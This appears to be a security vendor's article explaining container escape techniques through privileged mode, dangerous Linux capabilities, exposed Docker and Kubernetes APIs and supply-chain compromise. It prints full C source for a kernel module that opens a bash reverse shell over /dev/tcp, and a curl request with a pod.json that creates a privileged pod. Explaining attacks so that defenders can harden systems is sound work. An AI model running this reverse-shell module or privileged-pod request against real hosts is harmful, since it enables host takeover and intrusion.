One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.
Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.
Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.
CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.
This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.
Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.
CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.
From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.
In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.
A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.
Let’s look at a container escape using a kernel module with the following payload example:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.
The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.
The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.
If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.
CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.
A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.
Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.
It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.
One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.
The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.
One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.
Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.
For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.
The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:
curl -k -X POST https://<kubernetes-url>/api/v1/namespaces/default/pods -H "Authorization: Bearer <Token>" -H "Content-Type: application/json" -d @pod.json
The configuration passed in the pod.json file is explicitly designed to enable an escape:
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "privileged-pod-from-api"
},
"spec": {
"containers": [
{
"name": "debug-container",
"image": "ubuntu:latest",
"command": ["sleep", "3600"],
"securityContext": {
"privileged": true
}
}
]
}
}
Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.
However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.
To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.
Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.
One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.
Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.
Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.
Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.
